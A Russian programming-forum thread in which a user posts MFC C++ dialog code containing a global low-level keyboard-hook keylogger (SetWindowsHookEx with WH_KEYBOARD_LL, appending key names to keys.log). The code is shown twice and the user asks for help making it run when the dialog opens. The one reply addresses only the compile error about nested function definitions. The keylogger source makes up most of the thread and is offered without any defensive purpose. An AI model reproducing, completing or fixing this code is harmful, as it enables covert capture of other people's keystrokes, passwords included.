Форум программистов, компьютерный форум CyberForum.ru

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2
#1

Local Function definitions are illegal - C++

28.04.2014, 14:44. Просмотров 856. Ответов 2
Метки нет (Все метки)

Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. При компиляции проекта выдает следующую ошибку
Compiling...
700Dlg.cpp
E:\CPP\700\700Dlg.cpp(65) : error C2601: 'KeyEvent' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(106) : error C2601: 'MsgLoop' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(115) : error C2601: 'KeyLogger' : local function definitions are illegal
E:\CPP\700\700Dlg.cpp(142) : error C2601: 'main' : local function definitions are illegal
Error executing cl.exe.

700.exe - 4 error(s), 0 warning(s)


Вот исходник самого DlgCpp


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
 
 
    // TODO: Add extra initialization here
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА 
     
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}

Также я попытался переместить тело кейлогера из InitDialog в самый конец срр файла, при этом ошибок компиляции уже нет, диалоговое окно запускается но сам кейлогер никаких действий не выполняет.

Очень прошу помощи ребята, помогите откорректировать исходник чтобы привести его в рабочее состояние.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
28.04.2014, 14:44
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Local Function definitions are illegal (C++):

Ошибка C2601: 'too': local function definitions are illegal - C++
почему выдаёт ошибку и как её исправить? error C2601: 'too': local function definitions are illegal программа: //...

Ошибка кода Visual c++ 6.0 'SearchFiles': local function definitions are illegal - C++
Я сам вобще не знаток с++ я только учусь но вот мне выдаёт ошибку код в visual c++ 6.0 Вот ошибка такая C:\Program Files...

error C2601: 'main' : local function definitions are illegal fatal error C1004: unexpected end of file found - C++
День добрый люди написал програму выдает 2 ошибки че не так подскажите error C2601: 'main' : local function definitions are illegal ...

Illegal use of floating point in function main() - C++
#include &lt;iostream.h&gt; #include &lt;conio.h&gt; #include &lt;math.h&gt; void main() { double a, x, y ; cout &lt;&lt; &quot; Input a &quot; ; ...

E2214 Cannot have a non-inline function in a local class - C++
Добрый день) class interf { public: virtual void print(TStringGrid*,int&amp;)const=0; interf (){}; virtual ~interf(){}; };Выдает...

C:\Dev-Cpp\lib\vector.h `ostream' is neither function nor member function; cannot be declared friend - C++
выкидывает C:\Dev-Cpp\lib\vector.h `ostream' is neither function nor member function; cannot be declared friend при компиляции. что делать?

Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Меорн
74 / 59 / 29
Регистрация: 01.02.2014
Сообщений: 202
28.04.2014, 15:04 #2
написано же что нельзя объявлять функции в теле других функций. вынеси наружу.

Добавлено через 1 минуту
хотя может просто забыл поставить } после
C++
1
2
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);
Виктор
0 / 0 / 0
Регистрация: 28.04.2014
Сообщений: 2
28.04.2014, 16:18  [ТС] #3
Скобки стоят.

Не пойму как запустить саму функцию кейлогера. Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак. Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.

Вот вынес код наружу, диалоговое окно запускается, ошибок нет, а функция кейлогера не работает. Такое ощущение, что код как бы не задействован вообще.


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
  
    // TODO: Add extra initialization here
      
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}
 
 
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА
Добавлено через 1 час 8 минут
Неужели никто не сможет помочь ??
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
28.04.2014, 16:18
Привет! Вот еще темы с ответами:

Почему возникает ошибка "function returning function is not allowed" - C++
Подключаю заголовочный файл .dll библиотеки, возникают ошибки #pragma once #include &lt;vector&gt; struct RSA_Interface { ...

Illegal use of floating point - C++
Подскажите, почему с++ ругается на мою функцию: float h (float a, float b) { return h=(a/1+pow(b,2))+(b/1+pow(a,2))-(a-b); } ...

Illegal use of floating point - C++
Подскажите в чем может быть дело: int sigmasignal=5,i,j,N=20; float vhmatrica, rsignal; double tsignal=0.2, delta=0.004,...

Ошибка: Illegal use of floating point - C++
В общем вот какое дело: float a,c; c=a%2; объясните, пожалуйста, почему в данном случае нельзя использовать число типа &quot;float&quot;...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru